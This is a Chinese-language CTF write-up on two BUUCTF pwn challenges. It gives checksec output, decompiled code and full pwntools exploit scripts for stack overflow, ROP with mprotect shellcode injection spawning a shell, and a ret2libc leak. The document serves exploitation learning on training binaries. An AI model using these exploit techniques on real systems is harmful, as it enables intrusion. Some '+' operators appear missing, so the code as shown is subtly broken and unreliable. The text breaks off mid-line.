BUUCTF 刷题笔记——PWN 2
not_the_same_3dsctf_2016
先验文件,本题文件为 32 为可执行文件,保护约等于没开。值得注意的是,该文件又是静态链接,因此又可以直接调用一些未被调用过的函数来解题,比如老朋友 mprotect() 函数。
代码语言:javascript复制└─$ file not_the_same_3dsctf_2016
not_the_same_3dsctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
└─$ checksec not_the_same_3dsctf_2016
[*] '/home/h-t-m/not_the_same_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
本地执行一遍,程序打印了一段莫名其妙的字符串,并等待用户输入,回车之后程序便会退出,此外并无任何其他信息。
代码语言:javascript复制└─$ ./not_the_same_3dsctf_2016
b0r4 v3r s3 7u 4h o b1ch4o m3m0... h-t-m myr520
IDA 反编译查看伪代码,主函数非常简单,到此为止接触的一切都有些眼熟,貌似与 [get_started_3dsctf_2016](https://h-t-m.top/posts/9e217072#get-started-3dsctf-2016) 差不多的样子。同样使用了不作限制的 get() 函数,因此依然存在栈溢出。不过标题的 not_the_same 怕不是在暗示这一切的相似都是假象。
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp Fh] [ebp-2Dh] BYREF
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4);
return 0;
}
通过查看字符串发现有函数使用了 flag.txt 文件,显然 flag 就在这里,而打开它的是 get_secret() 函数。该函数读取了 flag.txt 文件内容并存入变量 fl4g 中,但是,但是他竟然没有输出。没输出就没输出,自行调用输出函数并传参就行了。
代码语言:javascript复制int get_secret()
{
int v0; // esi
v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
get_secret
那么解题思路就出来了,通过栈溢出调用 get_secret() 函数并设置其返回至 printf() 函数,再将 fl4g 变量作为参数以 32 位程序直接压栈传参的方式传过去就成了。值得注意的是,同 get_started_3dsctf_2016 一样,本题文件的函数调用过程依然不涉及 ebp 的操作,所以栈溢出时不需要考虑他。当然还有程序正常退出的问题,毕竟非正常退出会导致回显阻断,因此 printf() 函数调用结束后务必返回到 exit() 函数来完成正常退出。构造 exp 如下:
代码语言:javascript复制from pwn import *
#io = remote('node4.buuoj.cn',28919)
io = process('./not_the_same_3dsctf_2016')
get_secret_addr = 0x80489A0
printf_addr = 0x804F0A0
fl4g_addr = 0x80ECA2D
exit_addr = 0x804E660
payload = b'a' * 45 p32(get_secret_addr)
payload = p32(printf_addr) p32(exit_addr) p32(fl4g_addr)
io.sendline(payload)
print(io.recv())
此外,本地测试时请务必创建好 flag.txt 文件。某人因为没有文件而报错弄了一晚上。本题到这里也就结束了,不过由于对 mprotect() 函数的解法依然不够熟悉,因此下面再练习一遍。
mprotect
首先还是挑一段空间来用于改写权限并写入 shellcode,这里依然选用 BSS 段的空间,当然还得按分页标准取末三位为 0 的内存区间。
mprotect() 函数调用结束后需要手动清理留在栈中的三个参数,以免影响后续写入函数的调用,随便找个三个 pop 加一个 ret 的 gadget 即可。构造该部分 payload 如下:
代码语言:javascript复制mpt_addr = 0x806ED40
bss_addr = 0x80EC000
pop3_ret = 0x8085791
payload = b'a' * 45 p32(mpt_addr) p32(pop3_ret) p32(bss_addr) p32(0x2000) p32(7)
然后就是调用 read 函数来写入用户输入的 shellcode,调用流程与上述基本一致,同样需要自行清理栈中的参数以保证后续对于 shellcode 的执行。构造该部分 payload 如下:
代码语言:javascript复制read_addr = 0x806E200
payload = p32(read_addr) p32(pop3_ret) p32(0) p32(bss_addr) p32(0x2000)
最后让程序跳转到 shellcode 所在地执行就好,因此直接在现有 payload 后加上其地址即可,构造该部分 payload 如下:
代码语言:javascript复制payload = p32(bss_addr)
组合上述 payload 并配合输入生成好的 shellcode 即可,接下来就可以为所欲为了
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn',28919)
#io = process('./not_the_same_3dsctf_2016')
mpt_addr = 0x806ED40
bss_addr = 0x80EC000
pop3_ret = 0x8085791
payload = b'a' * 45 p32(mpt_addr) p32(pop3_ret) p32(bss_addr) p32(0x2000) p32(7)
read_addr = 0x806E200
payload = p32(read_addr) p32(pop3_ret) p32(0) p32(bss_addr) p32(0x2000)
payload = p32(bss_addr)
shellcode = asm(shellcraft.sh())
io.sendline(payload)
io.sendline(shellcode)
io.interactive()
ciscn_2019_n_5
先验文件,本题文件为 64 位可执行文件,保护依然基本没开,不过本题文件多出了一个 RWX 字段,告诉我们文件中含有可读可写可执行的内存段。也就是说上一题费好大力气使用 mprotect() 函数来修改权限来写入 shellcode,这题直接就给了这么一块空间可供写入并执行 shellcode。
代码语言:javascript复制└─$ file ciscn_2019_n_5
ciscn_2019_n_5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e420b4efe941251c692c93a7089b49b4319f891, with debug_info, not stripped
└─$ checksec ciscn_2019_n_5
[*] '/home/h-t-m/ciscn_2019_n_5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
本地执行一遍,程序会询问用户姓名并等待输入,输入之后则会有一顿奉承然后继续等待用户输入,再次输入后重新便会退出。这两块地方大概率存在栈溢出。
代码语言:javascript复制└─$ ./ciscn_2019_n_5
tell me your name
h-t-m
wow~ nice name!
What do you want to say to me?
myr520
IDA 反编译查看伪代码,主函数如下,大体内容与本地运行逻辑一致。不过两次读取用户输入的方式并不一样,读取姓名使用 read() 函数存入未在主函数内声明的 name 变量中,为全局变量,并未存储于栈空间中,因此该处不存在栈溢出。不过拿这块地址来存点东西给后面用倒是非常方便,毕竟地址固定而且内容完全由用户决定。后面一次数据读取直接使用 gets() 函数且无任何限制,因此此处存在栈溢出。
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp 0h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, &name, 0x64uLL);
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(v4);
return 0;
}
然而程序中并不存在后门函数,也没有啥好用的字符串出现。
ret2libc
除了栈溢出啥都不给的话,那就优先考虑 ret2libc,首先还是从栈溢出点之前已被调用的 puts() 函数入手拿他真实地址后三位来匹配 libc,然后计算出 libc 里的危险套装并调用执行就好了,当然该环境下需要注意平衡栈。
代码语言:javascript复制from pwn import *
from LibcSearcher import LibcSearcher
io = remote('node4.buuoj.cn',28335)
# io = process("./ciscn_2019_n_5")
pop_rdi_ret = 0x400713
# 64 位程序,参数传入寄存器中
puts_got = 0x601018
puts_plt = 0x4004E0
back_addr = 0x400636
# 之后返回至主函数再次利用栈溢出来调用危险套装
io.sendline(b'h-t-m')
payload = b'a' * (32 8) p64(pop_rdi_ret) p64(puts_got) p64(puts_plt) p64(back_addr)
io.recv()
io.sendline(payload)
puts_addr = hex(u64(io.recvline()[:-1].ljust(8,b'